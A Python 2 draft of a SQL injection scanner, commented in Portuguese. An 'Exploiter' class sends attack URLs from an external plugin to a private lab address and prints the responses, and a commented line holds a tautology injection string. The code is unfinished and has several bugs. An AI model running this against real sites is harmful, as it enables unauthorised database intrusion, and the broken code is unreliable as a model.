import urllib
from Business import PluginSQL
from bs4 import BeautifulSoup
from urlparse import urlparse

# Estava pensando em colocar o Exploiter para fazer o ataque e a análise

########################################################################
class Exploiter(object):
    """"""

    #----------------------------------------------------------------------
    # Construtor recebe a URL alvo e o objeto Plugin dos ataques
    #def __init__(self, url, pluginAttack):
    def __init__(self, url):
        """Constructor"""
        
        try:
            self.url = url

            # Cria a conexao com a URL informada
            self.html = urllib.urlopen (url)
            
            # Cria o objeto BeautifulSoup
            self.bs = BeautifulSoup(self.html.read(), "lxml")
            self.bs = BeautifulSoup()
            
        except urllib.NameError as e:
            print e
    
    # Exibe informacoes do servidor web
    def getServerInfo (self):
        #for header, value in self.url.headers.items():
            #print header + ' : ' + value
        return self.url.headers.items()
    
    
    # Metodo que envia ataque para o servidor
    def sendAttack (self, attack):
        self.pl_plugin = attack
        
        #self.concatenacao = []
        #self.i = 0
        for n in attack.get_Attack_Monted (self.url):
            
            #self.concatenacao.append(self.url+ str(n))
            self.html_attack = urllib.urlopen (n)
            
            # Verifica se existe getResponse no codigo-fonte da pagina atacada
            #if self.html_attack.read() != "MySQL":
            print self.html_attack.read()
                
                # Sai do laco e retorna o ataque
                # METODO QUE RETORNA O ATAQUE!!!
            
        
        
        
    # Molda a URL
    def generate_URL (self):
        self.url_parse = urlparse(url)
        self.url_parse_base = self.url_parse.scheme + "://" + self.url_parse.netloc + "/"        
        
        
    # Retorna a URL
    def get_URL (self):
        return self.url
    
    
    # Retorna a URL Parseada
    def get_URL_Parse (self):
        return self.url_parse
    
    
    # Retorna a URL Parseada Base
    def get_URL_Parse_Base (self):
        return self.url_parse_base

        
    # Retorna a URL Encode
    def gen_URL_Encode (self, url):
        #self.url_encode = urllib.urlencode(self.url : )
        print self.url_encode
        
    
    # Localiza um ataque no codigo-fonte
    def find_response (self, bs, response):
        self.bs_auxiliar = bs
        self.response_auxiliar = response
        
        #self.bs_auxiliar = BeautifulSoup(html.read(), "lxml")
             
             
             
             
             
             
             
             
#url = "http://10.37.129.4/cat.php?id=1"
#url_base = "http://10.37.129.4/cat.php"
#args = {'id' : 1}

#sql1 = PluginSQL.PluginSQL()
#temp = sql1.getAttack() 
#for z in temp:
    #argu = {'id' : z}
    #encode_args = urllib.urlencode(argu)
    #print encode_args
    #print z
    

#url2 = urlparse(url)
#url1 = self.url_base.scheme + "://" + self.url_base.netloc + "/" + self.allLinks[self.i]['href']
#print url2.scheme

vv = Exploiter("http://10.37.129.4/cat.php?id=1")
pl2 = PluginSQL.PluginSQL()
vv.sendAttack(pl2)
#vv.gen_URL_Encode("id=1' or '3=3")

